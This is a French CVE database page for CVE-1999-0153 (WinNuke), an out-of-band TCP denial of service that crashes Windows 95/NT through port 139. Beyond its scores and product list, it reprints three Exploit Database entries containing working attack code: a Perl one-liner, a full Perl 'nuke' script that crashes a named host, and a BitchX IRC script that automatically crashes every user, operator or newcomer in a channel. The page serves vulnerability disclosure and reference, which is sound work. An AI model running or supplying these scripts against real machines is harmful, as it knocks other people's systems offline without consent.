CVE-1999-0153 : Détail

CVE-1999-0153

26.28%V4
Network
1999-09-29
02h00 +00:00
2024-08-01
16h27 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Windows 95/NT out of band (OOB) data denial of service through NETBIOS port, aka WinNuke.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 20438

Date de publication : 1997-05-06 22h00 +00:00
Auteur : _eci
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/2010/info Older versions of Microsoft Windows (95, Windows for Workgroups 3.11, Windows NT up to and including 4.0), as well as SCO Open Server 5.0, have a vulnerability relating to the way they handle TCP/IP "Out of Band" data. According to Microsoft, "A sender specifies "Out of Band" data by setting the URGENT bit flag in the TCP header. The receiver uses the URGENT POINTER to determine where in the segment the urgent data ends. Windows NT bugchecks when the URGENT POINTER points to the end of the frame and no normal data follows. Windows NT expects normal data to follow. " As a result of this assumption not being met, Windows gives a "blue screen of death" and stops responding. Windows port 139 (NetBIOS) is most susceptible to this attack. although other services may suffer as well. Rebooting the affected machine is required to resume normal system functioning. perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"some.windoze.box:139")->send("bye",MSG_OOB)'
Exploit Database EDB-ID : 20439

Date de publication : 1997-05-06 22h00 +00:00
Auteur : _eci
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/2010/info Older versions of Microsoft Windows (95, Windows for Workgroups 3.11, Windows NT up to and including 4.0), as well as SCO Open Server 5.0, have a vulnerability relating to the way they handle TCP/IP "Out of Band" data. According to Microsoft, "A sender specifies "Out of Band" data by setting the URGENT bit flag in the TCP header. The receiver uses the URGENT POINTER to determine where in the segment the urgent data ends. Windows NT bugchecks when the URGENT POINTER points to the end of the frame and no normal data follows. Windows NT expects normal data to follow. " As a result of this assumption not being met, Windows gives a "blue screen of death" and stops responding. Windows port 139 (NetBIOS) is most susceptible to this attack. although other services may suffer as well. Rebooting the affected machine is required to resume normal system functioning. #!/usr/bin/perl # Ghent - ghent@bounty-hunters.com - Perl version of winnuke.c by _eci use strict; use Socket; my($h,$p,$in_addr,$proto,$addr); $h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]); if (!$h) { print "A hostname must be provided. Ex: www.microsoft.com\n"; } $in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr); $proto = getprotobyname('tcp'); socket(S, AF_INET, SOCK_STREAM, $proto) or die $!; connect(S,$addr) or die $!; select S; $| = 1; select STDOUT; print "Nuking: $h:$p\n"; send S,"Sucker",MSG_OOB; print "Nuked!\n"; close S;
Exploit Database EDB-ID : 20440

Date de publication : 1997-05-06 22h00 +00:00
Auteur : maddog & lerper
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/2010/info Older versions of Microsoft Windows (95, Windows for Workgroups 3.11, Windows NT up to and including 4.0), as well as SCO Open Server 5.0, have a vulnerability relating to the way they handle TCP/IP "Out of Band" data. According to Microsoft, "A sender specifies "Out of Band" data by setting the URGENT bit flag in the TCP header. The receiver uses the URGENT POINTER to determine where in the segment the urgent data ends. Windows NT bugchecks when the URGENT POINTER points to the end of the frame and no normal data follows. Windows NT expects normal data to follow. " As a result of this assumption not being met, Windows gives a "blue screen of death" and stops responding. Windows port 139 (NetBIOS) is most susceptible to this attack. although other services may suffer as well. Rebooting the affected machine is required to resume normal system functioning. # WinNuke BitchX IRC script/wnuke package v 1.5 # Created by maddog and lerper # maddog@bitsmart.com, lerper@bitsmart.com # WinNuke IRCers with several options: # the nick you define # all of the ops in your current channel # anyone who joins a channel # everyone in the channel # Creditz: # goes out to _eci for winnuke # #BitchX for their great support # #ircII for pretending to be asleep whenever i asked for help # #hack for the laughs (hey--they were talking about vibrators last night) # Micro$oft for hosting the hacking channels on comic chat # KL and his LPLC LAX # shout outs to the L0pht and hey to memebers of "CdC" # notice: this package was created so more people could learn about winnuke # and more winblows users could patch themeslves up. # NOT so lame ircers could have their kicks #Before using this script, compile the included winnuke.c #cc -owinnuke winnuke.c should do the job! #If you have a GNU compiler...replace the cc with gcc #Then move the executable into your /usr/local/bin directory and #chmod it with the access levels you wish. assign wnuke_pgm wnuke assign wn [wnuke w/ mass nuke features] assign wi [winnuke commands] eval echo $wn version 1.5 loading... [ by: maddog and the lerper ] eval echo $wn type /whelp for commands alias whelp { eval echo $wi /wnuke <nick> - sends a win nuke to someone eval echo $wi /mwnuke - sends a win nuke to everyone on a chan eval echo $wi /awnuke - when someone joins, it nukes them too, effective with mwnuke eval echo $wi /opwnuke - sends a win nuke to all ops } alias wnuke { if ([$0]) { ^on ^311 "*" {^assign ndomain $3} ^on ^319 "*" # ^whois $0 wait EVAL ^exec winnuke $1 $ndomain >/dev/null & echo [wnuke] sent wnuke to $0 at $ndomain requested\. ^on 311 - "*" ^on 319 - "*" ^assign -ndomain } { echo echo Usage: /wnuke <nick> } } /on -join * {@joinvar=[$0]} alias awnuke { /on -join * {/wnuke $0}} alias mwnuke { fe ($chanusers()) blah { /wnuke $blah }} alias opwnuke { fe ($chops()) blah { /wnuke $blah }}

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_95 >> Version *

Microsoft>>Windows_nt >> Version *

Sco>>Openserver >> Version 5.0

    Références

    http://www.osvdb.org/1666
    Tags : vdb-entry, x_refsource_OSVDB
    Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.